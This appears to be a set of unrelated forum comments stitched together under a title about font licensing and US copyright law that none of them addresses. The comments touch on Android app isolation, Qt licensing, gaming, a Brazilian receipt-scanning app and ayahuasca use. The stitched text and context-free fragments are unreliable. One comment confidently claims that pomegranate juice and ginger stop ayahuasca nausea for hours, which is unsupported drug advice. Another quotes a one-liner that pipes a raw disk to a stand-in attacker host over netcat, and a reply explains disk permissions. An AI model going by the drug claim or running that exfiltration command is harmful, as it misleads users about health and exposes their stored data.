The OFL-1.1 license violates 17 USC § 105 (2019)

I don't know if it is just me but I run every class of app in isolated "islands" (like work profiles) on Android. Browsers, banking apps, social media, instant messaging, tools, etc. Almost everything is isolated from another non related group.

YMMV, but for several friends and me, the urge comes all at once and the purge happens. It's like an "immediate" nausea.

It stops the nausea, but you still can purge (can't tell why). But it feels that you are just cleaning your body. And without nausea you can listen, IMHO, to your body, more carefully

Drink pomegranate juice and eat some ginger 20 minutes before. That stops any nausea with Ayahuasca for 6-8 hours, it evens "fix" the horrible taste to many.

Mess?

Here are the most commonly used options:

- Go LGPL. Sure, you will need to ship binaries and libs, but there are tools within the SDK that do this automatically for you (windeployqt, macdeployqt, etc.). And as others have stated, it is a problem that was solved years ago.

- Go Commercial to link statically. If you are a single developer, there is an annual license available for $499 (up to $100k yearly revenue).

I do as well. I program everything in C++ with Qt 6 (commercial license), compile statically where convenient, and use a single code base for all platforms (mobile, desktop, web). I handle the responsiveness of interfaces, DPI, and other micro-adjustments directly in a simple QML template.

Me too!

The first game I played with mouse support in the 90s, I believe, was Flight Simulator 3.0, and I think by default (?) it was set up for inverted mouse (or was MS-DOS Star Wars: TIE Fighter, can't remember).

Since then, when I started playing other FPS games with mouse support (like Quake and similar), this mode prevailed.

However, the biggest challenge came years later with FPS games for smartphones - retraining my mind to play with non-inverted orientation. Quite an adventure!

"Revela Preço" (Price Reveal), a smartphone app for comparing prices across establishments.

In Brazil, all businesses must issue an invoice or a fiscal receipt. The latter includes purchase details and a QR code with a URL that directs the consumer to the respective state's SEFAZ (Department of Finance). This allows consumers to view their purchase receipt online and print a second copy if needed.

However, each SEFAZ operates differently, if they function at all. This hindered the app's progress, as the constant unavailability of state services led to numerous user complaints.

The project is currently on hold until the receipt consultation process is centralized within the Federal Revenue Service, similar to how invoices are handled currently.

The project's goal is to allow users to compare recent prices from those who have purchased and scanned their receipts, enabling them to create shopping lists in advance and know where they can save money.

Relying on each state's government to keep their systems operational has become the project's biggest obstacle.

I consider it "useless" because of the time spent on it and the inability to continue due to our government's inefficiency.

One feature I'm missing is the ability to display 3 lines (from, subject, and the first line of the body) in the message list. When dealing with monitoring and certain notifications, I have to open each email to see its contents.

One thing I hate was the change from "disable/never see again" to "see less often" that surrounds almost every app now, be twitter, facebook, instagram, etc.

So they keep repeating VERY OFTEN all that crap.

The result? I've been using them less and less.

Maybe implement a two-way verification, for example:

In the app/website: "You will receive an SMS with two 6-digit numbers, one to certify that we sent it to you and another to type bellow. Our chosen number is 887-987, type the another one"

In the SMS: "Two-way verification. Check if it's us with number 887-987 and confirm with number 543-621"

If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here.

That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group:

brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

I've drank Ayahuasca a couple of times and it's a radical life changing, when you experience, temporally, an ego-death.
